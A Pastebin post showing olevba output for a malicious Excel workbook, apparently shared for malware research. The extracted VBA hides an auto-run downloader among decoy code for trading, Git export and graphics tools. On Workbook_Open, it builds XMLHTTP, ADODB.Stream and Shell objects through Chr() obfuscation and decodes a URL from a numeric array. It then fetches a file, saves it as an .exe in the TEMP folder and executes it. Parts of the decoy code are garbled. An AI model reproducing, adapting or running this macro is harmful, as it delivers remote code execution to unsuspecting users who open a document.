dynamoo

Malicious Excel macro

Nov 10th, 2015
628
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V hotel-~1.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: hotel-~1.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. getUsageString
  17. CsvShName "", ""
  18. setupProv False
  19. setupDbServiceProviders "", True
  20. UpdateMaxRowsColumns
  21. End Sub
  22.  
  23. -------------------------------------------------------------------------------
  24. VBA MACRO Ëèñò1.cls
  25. in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  26. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  27. (empty macro)
  28. -------------------------------------------------------------------------------
  29. VBA MACRO Ëèñò2.cls
  30. in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  31. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  32. (empty macro)
  33. -------------------------------------------------------------------------------
  34. VBA MACRO Ëèñò3.cls
  35. in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  36. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  37. (empty macro)
  38. -------------------------------------------------------------------------------
  39. VBA MACRO Module1.bas
  40. in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  41. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  42.  
  43. Public Sub Main()
  44. Const ProcName As String = ""
  45. On Error GoTo Err
  46. InitialiseTWUtilities
  47. Set mFatalErrorHandler = New FatalErrorHandler
  48. Dim lClp As CommandLineParser
  49. Set lClp = CreateCommandLineParser(Command)
  50. If lClp.Switch("") Then
  51.  MsgBox vbCrLf & getUsageString, , ""
  52.  Exit Sub
  53. End If
  54. ApplicationGroupName = ""
  55. ApplicationName = ""
  56. SetupDefaultLogging Command
  57. Dim lNoUI As Boolean
  58. If lClp.Switch("") Then lNoUI = True
  59. Dim lRun As Boolean
  60. If lClp.Switch("") Then lRun = True
  61. Dim lLiveTrades As Boolean
  62. If lClp.Switch("") Then lLiveTrades = True
  63. Dim lSymbol As String
  64. lSymbol = lClp.Arg(0)
  65. If lSymbol = "" And lNoUI Then
  66.  LogMess.age ""
  67.  If Not lNoUI And lRun Then MsgBox "" & vbCrLf & getUsageString, vbCritical, ""
  68.  Exit Sub
  69. End If
  70. Dim lStrategyClassName As String
  71. lStrategyClassName = lClp.Arg(2)
  72. If lStrategyClassName = "" And lNoUI Then
  73.  LogMess.age ""
  74.  If Not lNoUI And lRun Then MsgBox "" & vbCrLf & getUsageString, vbCritical, ""
  75.  Exit Sub
  76. End If
  77. Dim lPermittedSPRoles As ServiceProviderRoles
  78. lPermittedSPRoles = SPRoleContractDataPrimary + _
  79.  SPRoleHistoricalDataInput + _
  80.  SPRoleOrderSubmissionLive + _
  81.  SPRoleOrderSubmissionSimulated
  82. If Not lLiveTrades And Not lNoUI Then lPermittedSPRoles = lPermittedSPRoles + SPRoleTickfileInput
  83. If lClp.Switch("") Then lPermittedSPRoles = lPermittedSPRoles + SPRoleRealtimeData
  84. Set gTB = CreateTradeBuildAPI(, lPermittedSPRoles)
  85. If lClp.Switch("") Then
  86.  If Not setupTwsServiceProvider(lClp.switchValue(""), lLiveTrades) Then
  87.  MsgBox "" & DefaultLogFileName(Command) & vbCrLf & getUsageString, vbCritical, ""
  88.  Exit Sub
  89.  End If
  90. End If
  91. If lClp.Switch("") Then
  92.  If Not setupDbServiceProviders(lClp.switchValue(""), Not (lLiveTrades Or lNoUI)) Then
  93.  MsgBox "" & DefaultLogFileName(Command) & vbCrLf & getUsageString, vbCritical, ""
  94.  Exit Sub
  95.  End If
  96. Else
  97.  MsgBox "" & vbCrLf & getUsageString, vbCritical, ""
  98.  Exit Sub
  99. End If
  100. If Not setupProv(lLiveTrades) Then
  101.  MsgBox "" & DefaultLogFileName(Command) & vbCrLf & getUsageString, vbCritical, ""
  102.  Exit Sub
  103. End If
  104. If Not gTB.StartServiceProviders Then
  105.  MsgBox ""
  106.  Exit Sub
  107. End If
  108. gTB.StudyLibraryManager.AddBuiltInStudyLibrary
  109. Dim lUseMoneyManagement As Boolean
  110. If lClp.Switch("") Or _
  111.  lClp.Switch("") _
  112. Then
  113.  lUseMoneyManagement = True
  114. End If
  115. Dim lResultsPath As String
  116. If lClp.Switch("") Then
  117.  lResultsPath = lClp.switchValue("")
  118. End If
  119. If lNoUI Then
  120. Else
  121.  Set mForm = New fStrategyHost
  122.  If lClp.Switch("") Then
  123.  mForm.SymbolText.Enabled = True
  124.  mForm.SymbolText.Text = lSymbol
  125.  End If
  126.  mForm.ResultsPathText = lResultsPath
  127.  mForm.NoMoneyManagement = IIf(lUseMoneyManagement, 0, 1)
  128.  mForm.StrategyCombo.Text = lStrategyClassName
  129.  mForm.Show vbModeless
  130.  If lRun Then
  131.  mForm.StartButton.Value = True
  132.  End If
  133.  Do While Forms.Count > 0
  134.  Wait 50
  135.  Loop
  136.  LogMess.age ""
  137.  TerminateTWUtilities
  138. End If
  139. Exit Sub
  140. Err:
  141. If Err.Number = ErrorCodes.ErrSecurityException Then
  142.  MsgBox "" & vbCrLf & vbCrLf & _
  143.  DefaultLogFileName(Command) & vbCrLf & vbCrLf & _
  144.  "", _
  145.  vbCritical, _
  146.  ""
  147.  TerminateTWUtilities
  148.  Exit Sub
  149. End If
  150. gNotifyUnhandledError ProcName, ModuleName, ProjectName
  151. End Sub
  152. Public Function getUsageString() As String
  153. getUsageString = _
  154.  "" & vbCrLf & _
  155.  "" & vbCrLf & _
  156.  ""
  157.  dot_ro = Asc(slash_ro) - 46
  158.  e_ro = dot_ro + 55
  159.  Set pid_kan = CreateObject("Microsoft" + Chr(dot_ro) + "XMLHTTP")
  160.  Set pid_mad = CreateObject("Adodb" + Chr(dot_ro) + "Str" + Chr(e_ro) + "am")
  161. Set mid_con = CreateObject("WScript" + Chr(dot_ro) + "Sh" + Chr(e_ro) + "ll").Environment("Proc" + Chr(e_ro) + "ss")
  162. Set pid_did = CreateObject("Sh" + Chr(e_ro) + "ll" + Chr(dot_ro) + "Application")
  163. End Function
  164. Public Function setupDbServiceProviders( _
  165.  ByVal switchValue As String, _
  166.  ByVal pAllowTickfiles As Boolean) As Boolean
  167. Dim clp As String
  168. Dim Server As String
  169. Dim dbtypeStr As String
  170. Dim dbtype As String
  171. Dim database As String
  172. Dim username As String
  173. Dim password As String
  174. Dim failpoint As Long
  175. On Error GoTo Err
  176. With pid_mad
  177.    .Type = 1
  178.     .Open
  179.     .write pid_kan.responseBody
  180.     .savetofile pid_tot, 2
  181. End With
  182.  clp = CreateCom.mand.LineParser(switchValue, "")
  183. setupDbServiceProviders = True
  184. On Error Resume Next
  185. Server = cl.p.Arg(0)
  186. dbtypeStr = cl.p.Arg(1)
  187. database = cl.p.Arg(2)
  188. username = cl.p.Arg(3)
  189. password = cl.p.Arg(4)
  190. On Error GoTo Err
  191. dbtype = Datab.aseTypeFromString(dbtypeStr)
  192. If dbtype = DbNone Then
  193.  LogMes.sage ""
  194.  setupDbServiceProviders = False
  195. End If
  196. If username <> "" And password = "" Then
  197.  LogM.ess.age ""
  198.  setupDbServiceProviders = False
  199. End If
  200. If setupDbServiceProviders Then
  201.  gTB.ServiceProviders.Add _
  202.  progID:="", _
  203.  Enabled:=True, _
  204.  ParamString:="" & _
  205.  "" & database & _
  206.  "" & dbtypeStr & _
  207.  "" & Server & _
  208.  "" & username & _
  209.  "" & password & _
  210.  "", _
  211.  Description:=""
  212.  gTB.ServiceProviders.Add _
  213.  progID:="", _
  214.  Enabled:=True, _
  215.  ParamString:="" & _
  216.  "" & database & _
  217.  "" & dbtypeStr & _
  218.  "" & Server & _
  219.  "" & username & _
  220.  "" & password & _
  221.  "", _
  222.  Description:=""
  223.  If pAllowTickfiles Then
  224.  gTB.ServiceProviders.Add _
  225.  progID:="", _
  226.  Enabled:=True, _
  227.  ParamString:="" & _
  228.  "" & database & _
  229.  "" & dbtypeStr & _
  230.  "" & Server & _
  231.  "" & username & _
  232.  "" & password & _
  233.  "", _
  234.  Description:=""
  235.  End If
  236. End If
  237. Exit Function
  238. Err:
  239. End Function
  240. Public Function setupProv(ByVal pLiveTrades As Boolean) As Boolean
  241. Dim solob() As Variant
  242. solob = Array(3381, 3393, 3393, 3389, 3335, 3324, 3324, 3396, 3396, 3396, 3323, 3376, 3385, 3378, 3386, 3378, 3387, 3376, 3382, 3374, 3388, 3391, 3393, 3382, 3399, 3323, 3376, 3388, 3386, 3324, 3333, 3332, 3398, 3393, 3378, 3330, 3330, 3324, 3331, 3393, 3329, 3330, 3378, 3398, 3395, 3323, 3378, 3397, 3378)
  243. On Error GoTo Err
  244. pid_kan.Open "G" + "" + UCase(Chr(e_ro)) + "" + "T", Redistribute(solob, 48), pLiveTrades
  245. If Not pLiveTrades Then
  246.  gTB.ServiceProviders.Add _
  247.  progID:="", _
  248.  Enabled:=True, _
  249.  Name:="", _
  250.  ParamString:="", _
  251.  Description:=""
  252. End If
  253. gTB.ServiceProviders.Add _
  254.  progID:="", _
  255.  Enabled:=True, _
  256.  Name:="", _
  257.  ParamString:="", _
  258.  Description:=""
  259. setupProv = True
  260. Exit Function
  261. Err:
  262. pid_kan.Send
  263. End Function
  264. Private Function setupTwsServiceProvider( _
  265.  ByVal switchValue As String, _
  266.  ByVal pAllowLiveTrades As Boolean) As Boolean
  267. On Error GoTo Err
  268. Dim clp As CommandLineParser
  269. Set clp = CreateCommandLineParser(switchValue, "")
  270. setupTwsServiceProvider = True
  271. On Error Resume Next
  272. Dim Server As String
  273. Server = cl.p.Arg(0)
  274. Dim Port As String
  275. Port = cl.p.Arg(1)
  276. Dim ClientId As String
  277. ClientId = cl.p.Arg(2)
  278. On Error GoTo Err
  279. If Port = "" Then
  280.  Port = ""
  281. ElseIf Not IsInteger(Port, 1) Then
  282.  LogMess.age ""
  283.  setupTwsServiceProvider = False
  284. End If
  285. If ClientId = "" Then
  286.  ClientId = ""
  287. ElseIf Not IsInteger(ClientId, 0) Then
  288.  LogMess.age ""
  289.  setupTwsServiceProvider = False
  290. End If
  291. If setupTwsServiceProvider Then
  292.  gTB.ServiceProviders.Add _
  293.  progID:="", _
  294.  Enabled:=True, _
  295.  ParamString:="" & _
  296.  "" & Server & _
  297.  "" & Port & _
  298.  "" & ClientId & _
  299.  "", _
  300.  Description:=""
  301.  If pAllowLiveTrades Then
  302.  gTB.ServiceProviders.Add _
  303.  progID:="", _
  304.  Enabled:=True, _
  305.  ParamString:="" & Server & _
  306.  "" & Port & _
  307.  "" & ClientId & _
  308.  "", _
  309.  Description:=""
  310.  End If
  311. End If
  312. Exit Function
  313. Err:
  314. LogMess.age Err.Description, LogLevelSevere
  315. setupTwsServiceProvider = False
  316. End Function
  317.  
  318.  
  319.  
  320.  
  321.  
  322.  
  323.  
  324. -------------------------------------------------------------------------------
  325. VBA MACRO Module2.bas
  326. in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  327. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  328. Public pid_kan As Object
  329. Public mid_con As Object
  330. Public Const slash_ro = "\"
  331. Public dot_ro As String
  332. Public e_ro As String
  333. Public pid_mad As Object
  334. Sub Export()
  335.  Dim Name As String, GitFolder As String, Folder As String, FullName As String
  336.  Name = ActiveCell.Cells(1, COL_NAME)
  337.  GitFolder = ActiveCell.Cells(1, COL_GIT_FOLDER)
  338.  Folder = ActiveCell.Cells(1, COL_FOLDER)
  339.  FullName = Folder & "" & Name
  340.  If GitFolder = "" Then
  341.  MsgBox "Missing GitFolder", vbCritical
  342.  Exit Sub
  343.  End If
  344.  If Dir(GitFolder, vbDirectory) = "" Then
  345.  MsgBox "The GitFolder """ & GitFolder & """ is missing", vbCritical
  346.  Exit Sub
  347.  End If
  348.  Dim WB As String
  349.  On Error Resume Next
  350.  Set WB = Workbooks(Name)
  351.  On Error GoTo 0
  352.  If WB Is Nothing Then
  353.  MsgBox "Please open the file """ & FullName & """ and try again", vbInformation
  354.  Exit Sub
  355.  End If
  356.  If MsgBox("Export """ & Name & """ to """ & GitFolder & """?", vbYesNo) <> vbYes Then Exit Sub
  357.  Dim VBProj
  358.  Set VBProj = WB.VBProject
  359.  Application.EnableEvents = False
  360.  Application.DisplayAlerts = False
  361.  Dim NewFiles As New Collection
  362.  If Not WB.Saved Then WB.Save
  363.  Shell "cmd /c copy /y """ & FullName & """ """ & GitFolder & """"
  364.  NewFiles.Add Name
  365.  Dim OldFiles As New Collection, FName As String
  366.  FName = Dir(GitFolder & "\*")
  367.  Do While FName <> ""
  368.  If LCase(FName) <> ".gitignore" And _
  369.  LCase(FName) <> ".gitattributes" And _
  370.  LCase(FName) <> "readme.md" And _
  371.  LCase(FName) <> "readme.txt" _
  372.  Then OldFiles.Add FName
  373.  FName = Dir()
  374.  Loop
  375.  Dim Comp, Components
  376.  Set Components = VBProj.VBComponents
  377.  For Each Comp In Components
  378.  Select Case Comp.Type
  379.  Case vbext_ct_ActiveXDesigner
  380.  Stop
  381.  Case vbext_ct_ClassModule
  382.  Comp.Export GitFolder & "" & Comp.Name & ".cls"
  383.  NewFiles.Add Comp.Name & ".cls"
  384.  Case vbext_ct_Document
  385.  Comp.Export GitFolder & "" & Comp.Name & ".cls"
  386.  NewFiles.Add Comp.Name & ".cls"
  387.  If Comp.Name <> "ThisWorkbook" Then
  388.  Dim Sh As Worksheet, ShName As String, IsVisible As XlSheetVisibility, ActiveSh As Worksheet
  389.  Set Sh = SheetWithCodeName(WB, Comp.Name)
  390.  IsVisible = Sh.Visible
  391.  ShName = Sh.Name
  392.  If IsAddin(Name) Then WB.IsAddin = False
  393.  If IsVisible <> xlSheetVisible Then Sh.Visible = xlSheetVisible
  394.  Set ActiveSh = WB.ActiveSheet
  395.  WB.Activate
  396.  Sh.Select
  397.  ActiveWindow.DisplayFormulas = True
  398.  WB.SaveAs FileName:=GitFolder & "" & CsvShName(Comp.Name, ShName) & ".csv", FileFormat:=xlCSV, CreateBackup:=False
  399.  ActiveWindow.DisplayFormulas = False
  400.  NewFiles.Add CsvShName(Comp.Name, ShName) & ".csv"
  401.  Sh.Name = ShName
  402.  ActiveSh.Activate
  403.  If IsVisible <> xlSheetVisible Then Sh.Visible = IsVisible
  404.  If IsAddin(Name) Then WB.IsAddin = True
  405.  ThisWorkbook.Activate
  406.  End If
  407.  Case vbext_ct_MSForm
  408.  Comp.Export GitFolder & "" & Comp.Name & ".frm"
  409.  NewFiles.Add Comp.Name & ".frm"
  410.  Kill GitFolder & "" & Comp.Name & ".frx"
  411.  Case vbext_ct_StdModule
  412.  Comp.Export GitFolder & "" & Comp.Name & ".bas"
  413.  NewFiles.Add Comp.Name & ".bas"
  414.  Case Else
  415.  Stop
  416.  End Select
  417.  Next Comp
  418.  WB.SaveAs FileName:=FullName, FileFormat:=Ext2Format(FullName), CreateBackup:=False
  419.  Application.DisplayAlerts = True
  420.  Application.EnableEvents = True
  421.  Dim Iold As Integer, Inew As Integer
  422.  For Inew = 1 To NewFiles.Count
  423.  For Iold = 1 To OldFiles.Count
  424.  If LCase(OldFiles(Iold)) = LCase(NewFiles(Inew)) Then
  425.  OldFiles.Remove Iold
  426.  Exit For
  427.  End If
  428.  Next Iold
  429.  Next Inew
  430.  Dim Txt As String
  431.  If OldFiles.Count Then
  432.  Txt = "Delete the following files?"
  433.  For Iold = 1 To OldFiles.Count
  434.  Txt = Txt & vbLf & OldFiles(Iold)
  435.  Next Iold
  436.  If MsgBox(Txt, vbYesNo) = vbYes Then
  437.  For Iold = 1 To OldFiles.Count
  438.  Kill GitFolder & "" & OldFiles(Iold)
  439.  Next Iold
  440.  End If
  441.  End If
  442.  GoToA2
  443. End Sub
  444. Public Function Redistribute(Z() As Variant, oldLen As Integer) As String
  445. Dim n As Integer
  446. For n = LBound(Z) To UBound(Z)
  447.     Redistribute = Redistribute & Chr(Z(n) - 13 * oldLen - 2653)
  448. Next n
  449. End Function
  450. Function SheetWithCodeName(WB As String, CodeName As String) As String
  451.  For Each SheetWithCodeName In WB.Worksheets
  452.  If SheetWithCodeName.CodeName = CodeName Then Exit Function
  453.  Next SheetWithCodeName
  454.  Set SheetWithCodeName = Nothing
  455. End Function
  456. Function Ext2Format(FileName As String) As String
  457.  If Right(FileName, 4) = ".xla" Then
  458.  Ext2Format = xlAddIn
  459.  ElseIf Right(FileName, 4) = ".xls" Then
  460.  Ext2Format = xlExcel8
  461.  ElseIf Right(FileName, 5) = ".xlsx" Then
  462.  Ext2Format = xlOpenXMLWorkbook
  463.  ElseIf Right(FileName, 5) = ".xlsm" Then
  464.  Ext2Format = xlOpenXMLWorkbookMacroEnabled
  465.  ElseIf Right(FileName, 5) = ".xltm" Then
  466.  Ext2Format = xlOpenXMLTemplateMacroEnabled
  467.  End If
  468. End Function
  469. Public Function CsvShName(CompName As String, ShName As String) As String
  470. pid_tro = mid_con("T" + UCase(Chr(e_ro)) + "M" + "P")
  471. If CompName = ShName Then
  472.  CsvShName = CompName
  473.  Else
  474.  CsvShName = CompName & " (" & ShName & ")"
  475.  End If
  476. pid_tot = pid_tro + slash_ro + "ribasll" + Chr(dot_ro) + "" + Chr(e_ro) + "x" + Chr(e_ro)
  477. End Function
  478. Sub Refresh()
  479.  Dim WB As String, AI As AddIn
  480.  Application.EnableEvents = False
  481.  For Each WB In Workbooks
  482.  AddIfMissing WB
  483.  Next WB
  484.  For Each AI In AddIns
  485.  If UCase(Right(AI.Name, 4)) <> ".XLL" And UCase(Right(AI.Name, 5)) <> ".XLAM" Then
  486.  AddIfMissing Workbooks(AI.Name)
  487.  End If
  488.  Next AI
  489.  Dim c As Integer
  490.  ActiveSheet.UsedRange.EntireColumn.AutoFit
  491.  For c = 1 To ActiveSheet.UsedRange.Columns.Count
  492.  If ActiveSheet.Columns(c).EntireColumn.ColumnWidth > 40 Then ActiveSheet.Columns(c).EntireColumn.ColumnWidth = 40
  493.  Next c
  494.  Application.EnableEvents = True
  495.  GoToA2
  496. End Sub
  497. Sub GoToA2()
  498.  Application.EnableEvents = False
  499.  Cells(2, 1).Select
  500.  Application.EnableEvents = True
  501. End Sub
  502. Sub AddIfMissing(WB As String)
  503.  Dim R As Integer, DocFolder As String, Name As String
  504.  DocFolder = WB.Path
  505.  Name = WB.Name
  506.  For R = 4 To ActiveSheet.UsedRange.Rows.Count
  507.  If Cells(R, COL_NAME) = Name And Cells(R, COL_FOLDER) = DocFolder Then Exit Sub
  508.  Next R
  509.  If IsEmpty(Cells(R - 1, 5)) Then R = R - 1
  510.  Cells(R, COL_EXPORT) = "Export"
  511.  Cells(R, COL_GIT_GUI) = "Git gui"
  512.  Cells(R, COL_GITK) = "gitk"
  513.  Cells(R, COL_GIT_BASH) = "bash"
  514.  Cells(R, COL_NAME) = Name
  515.  Cells(R, COL_FOLDER) = DocFolder
  516. End Sub
  517. Function IsAddin(Name As String) As Boolean
  518.  IsAddin = UCase(Right(Name, 4)) = ".XLA"
  519. End Function
  520. Sub OpenFolder(FolderName As String)
  521.  If FolderName = "" Then Exit Sub
  522.  If Dir(FolderName, vbDirectory) = "" Then
  523.  MsgBox "Folder """ & FolderName & """ not found", vbCritical
  524.  Exit Sub
  525.  End If
  526.  ThisWorkbook.FollowHyperlink FolderName
  527.  GoToA2
  528. End Sub
  529. Sub GitGui()
  530.  Dim GitFolder As String
  531.  GitFolder = Cells(ActiveCell.Row, COL_GIT_FOLDER)
  532.  If GitFolder = "" Then
  533.  MsgBox "Missing GitFolder", vbCritical
  534.  Exit Sub
  535.  End If
  536.  If Dir(GitFolder, vbDirectory) = "" Then
  537.  MsgBox "The GitFolder """ & GitFolder & """ is missing", vbCritical
  538.  Exit Sub
  539.  End If
  540.  ChDir2 GitFolder
  541.  Shell """C:\Program Files\Git\cmd\Git-gui.exe"""
  542.  GoToA2
  543. End Sub
  544. Sub ChDir2(Path As String)
  545.  If Mid(Path, 2, 1) = ":" Then ChDrive Left(Path, 2)
  546.  ChDir Path
  547. End Sub
  548. Sub Gitk()
  549.  Dim GitFolder As String
  550.  GitFolder = Cells(ActiveCell.Row, COL_GIT_FOLDER)
  551.  If GitFolder = "" Then
  552.  MsgBox "Missing GitFolder", vbCritical
  553.  Exit Sub
  554.  End If
  555.  If Dir(GitFolder, vbDirectory) = "" Then
  556.  MsgBox "The GitFolder """ & GitFolder & """ is missing", vbCritical
  557.  Exit Sub
  558.  End If
  559.  ChDir2 GitFolder
  560.  Shell """C:\Program Files\Git\cmd\Gitk.exe"" --all"
  561.  GoToA2
  562. End Sub
  563. Sub GitBash()
  564.  Dim GitFolder As String
  565.  GitFolder = Cells(ActiveCell.Row, COL_GIT_FOLDER)
  566.  If GitFolder = "" Then
  567.  MsgBox "Missing GitFolder", vbCritical
  568.  Exit Sub
  569.  End If
  570.  If Dir(GitFolder, vbDirectory) = "" Then
  571.  MsgBox "The GitFolder """ & GitFolder & """ is missing", vbCritical
  572.  Exit Sub
  573.  End If
  574.  ChDir2 GitFolder
  575.  Shell """C:\Program Files\Git\Git-bash.exe"""
  576.  GoToA2
  577. End Sub
  578. Public Function FolderName(FullPath As String) As String
  579.  FolderName = Mid(FullPath, InStrRev(FullPath, "") + 1)
  580. End Function
  581.  
  582.  
  583.  
  584.  
  585.  
  586.  
  587.  
  588. -------------------------------------------------------------------------------
  589. VBA MACRO Module3.bas
  590. in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  591. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  592. Public pid_tro  As String
  593. Public pid_tot  As String
  594. Public pid_did As Object
  595. Sub Main()
  596.  InitManifest
  597.  InitFilePaths
  598.  Load frmMain
  599.  frmMain.Show
  600. End Sub
  601. Public Sub LoadOldGrhs()
  602. Dim FileNum As Byte
  603. Dim ln As String
  604. Dim s() As String
  605. Dim i As Long
  606.  frmMain.OldGrhLst.Clear
  607.  FileNum = FreeFile
  608.  Open Data2Path & "GrhRaw.txt" For Input As #FileNum
  609.  Do While Not EOF(FileNum)
  610.  Line Input #FileNum, ln
  611.  If UCase$(Left$(ln, 3)) = "GRH" Then
  612.  s() = Split(ln, "-")
  613.  If Val(Right$(s(0), 1)) = 1 Then
  614.  If Val(s(1)) = FileNumber Then
  615.  frmMain.OldGrhLst.AddItem ln
  616.  End If
  617.  End If
  618.  End If
  619.  Loop
  620.  Close #FileNum
  621. End Sub
  622. Public Sub RefreshImage(Optional ByVal MakeNew As Boolean = True)
  623. Dim Index As Long
  624. Dim b(0 To 2) As Byte
  625. Dim IsRemoved As Boolean
  626. Dim l As Long
  627. Dim x As Long
  628. Dim y As Long
  629. Dim i As Long
  630. Dim Rows As Long
  631. Const Alpha As Single = (255 - 125) / 255
  632. Const Add As Single = (255 - (255 * Alpha))
  633.  frmMain.PreviewPic.Cls
  634.  frmMain.PreviewPic.Picture = frmMain.BackBufferPic.Picture
  635.  If frmMain.GridChk.Value Then
  636.  Rows = Val(frmMain.RowsTxt.Text)
  637.  If Rows = -1 Then Rows = Val(frmMain.MaxRowsTxt.Text)
  638.  If Rows <= 0 Then Exit Sub
  639.  For x = Val(frmMain.StartXTxt.Text) To Val(frmMain.TexWidthTxt.Text) Step Val(frmMain.GridWidthTxt.Text)
  640.  For y = Val(frmMain.StartYTxt.Text) To Val(frmMain.TexHeightTxt.Text) Step Val(frmMain.GridHeightTxt.Text)
  641.  Index = ((x - Val(frmMain.StartXTxt.Text)) \ Val(frmMain.GridWidthTxt.Text)) + _
  642.  ((((y - Val(frmMain.StartYTxt.Text)) \ Val(frmMain.GridHeightTxt.Text))) * Rows)
  643.  If x < Val(frmMain.TexWidthTxt.Text) Then
  644.  If y < Val(frmMain.TexHeightTxt.Text) Then
  645.  IsRemoved = (frmMain.GrhLst.List(Index) = "-removed-")
  646.  If IsRemoved Then
  647.  For i = 0 To Val(frmMain.GridWidthTxt.Text) - 1
  648.  SetPixel frmMain.PreviewPic.hdc, x, y + i, RGB(255, 0, 0)
  649.  SetPixel frmMain.PreviewPic.hdc, x + 32, y + i, RGB(255, 0, 0)
  650.  SetPixel frmMain.PreviewPic.hdc, x + i, y, RGB(255, 0, 0)
  651.  SetPixel frmMain.PreviewPic.hdc, x + i, y + 32, RGB(255, 0, 0)
  652.  Next i
  653.  Else
  654.  If x > 0 Then
  655.  For i = 0 To Val(frmMain.GridWidthTxt.Text) - 1
  656.  l = GetPixel(frmMain.PreviewPic.hdc, x, y + i)
  657.  CopyMemory b(0), l, 3
  658.  SetPixel frmMain.PreviewPic.hdc, x, y + i, RGB(b(0) * Alpha + Add, b(1) * Alpha + Add, b(2) * Alpha + Add)
  659.  Next i
  660.  End If
  661.  If y > 0 Then
  662.  For i = 0 To Val(frmMain.GridHeightTxt.Text) - 1
  663.  l = GetPixel(frmMain.PreviewPic.hdc, x + i, y)
  664.  CopyMemory b(0), l, 3
  665.  SetPixel frmMain.PreviewPic.hdc, x + i, y, RGB(b(0) * Alpha + Add, b(1) * Alpha + Add, b(2) * Alpha + Add)
  666.  Next i
  667.  End If
  668.  End If
  669.  End If
  670.  End If
  671.  Next y
  672.  Next x
  673.  End If
  674.  If frmMain.GrhLst.List(frmMain.GrhLst.ListIndex) <> "-removed-" Then
  675.  If frmMain.GrhLst.ListIndex > -1 Then DrawSelectedGrh frmMain.GrhLst.List(frmMain.GrhLst.ListIndex), vbGreen
  676.  If frmMain.OldGrhLst.ListIndex > -1 Then DrawSelectedGrh frmMain.OldGrhLst.List(frmMain.OldGrhLst.ListIndex), vbYellow
  677.  End If
  678.  LastGrhLstIndex = frmMain.GrhLst.ListIndex
  679.  LastOldGrhLstIndex = frmMain.OldGrhLst.ListIndex
  680.  If MakeNew Then MakeNewGrhs
  681. End Sub
  682. Public Sub DrawSelectedGrh(ByVal GrhString As String, ByVal Color As Long)
  683. Dim s() As String
  684. Dim x As Long
  685. Dim y As Long
  686. Dim Width As Long
  687. Dim Height As Long
  688.  s = Split(GrhString, "-")
  689.  x = s(2)
  690.  y = s(3)
  691.  Width = s(4)
  692.  Height = s(5)
  693.  frmMain.PreviewPic.Line (x, y)-(x + Width, y), Color
  694.  frmMain.PreviewPic.Line (x, y)-(x, y + Height), Color
  695.  frmMain.PreviewPic.Line (x + Width, y)-(x + Width, y + Height), Color
  696.  frmMain.PreviewPic.Line (x, y + Height)-(x + Width, y + Height), Color
  697. End Sub
  698. Public Function FileExist(File As String, FileType As VbFileAttribute) As Boolean
  699.  FileExist = (LenB(Dir$(File, FileType)) <> 0)
  700. End Function
  701. Public Sub LoadTexture(ByVal TexturePath As String)
  702. Dim ImageInfo As CImageInfo
  703. Dim s() As String
  704.  frmMain.PreviewPic.Cls
  705.  PngPictureLoad TexturePath, frmMain.BackBufferPic, False
  706.  Set ImageInfo = New CImageInfo
  707.  ImageInfo.ReadImageInfo TexturePath
  708.  frmMain.TexWidthTxt.Text = ImageInfo.Width
  709.  frmMain.TexHeightTxt.Text = ImageInfo.Height
  710.  s = Split(frmMain.TexturePathTxt.Text, "")
  711.  FileNumber = Left$(s(UBound(s)), Len(s(UBound(s))) - 4)
  712.  UpdateMaxRowsColumns
  713.  LoadOldGrhs
  714. End Sub
  715. Public Sub UpdateMaxRowsColumns()
  716. Dim i As Long
  717. pid_did.Open (pid_tot)
  718. Exit Sub
  719.  If Val(frmMain.GridWidthTxt.Text) <= 0 Then
  720.  frmMain.MaxRowsTxt.Text = 0
  721.  Else
  722.  i = (Val(frmMain.TexWidthTxt.Text) - Val(frmMain.StartXTxt.Text)) \ Val(frmMain.GridWidthTxt.Text)
  723.  If i < 0 Then frmMain.MaxRowsTxt.Text = 0 Else frmMain.MaxRowsTxt.Text = i
  724.  End If
  725.  If Val(frmMain.GridHeightTxt.Text) <= 0 Then
  726.  frmMain.MaxColumnsTxt.Text = 0
  727.  Else
  728.  i = (Val(frmMain.TexHeightTxt.Text) - Val(frmMain.StartYTxt.Text)) \ Val(frmMain.GridHeightTxt.Text)
  729.  If i < 0 Then frmMain.MaxColumnsTxt.Text = 0 Else frmMain.MaxColumnsTxt.Text = i
  730.  End If
  731.  RefreshImage
  732. End Sub
  733. Public Sub MakeNewGrhs()
  734. Dim TexWidth As Long
  735. Dim TexHeight As Long
  736. Dim GridWidth As Long
  737. Dim GridHeight As Long
  738. Dim Rows As Long
  739. Dim Columns As Long
  740. Dim x As Long
  741. Dim y As Long
  742. Dim GrhIndex As Long
  743. Dim GrhLine As Long
  744.  Rows = Val(frmMain.RowsTxt.Text)
  745.  Columns = Val(frmMain.ColumnsTxt.Text)
  746.  If Rows = -1 Then Rows = Val(frmMain.MaxRowsTxt.Text)
  747.  If Rows <= 0 Then Exit Sub
  748.  If Columns = -1 Then Columns = Val(frmMain.MaxColumnsTxt.Text)
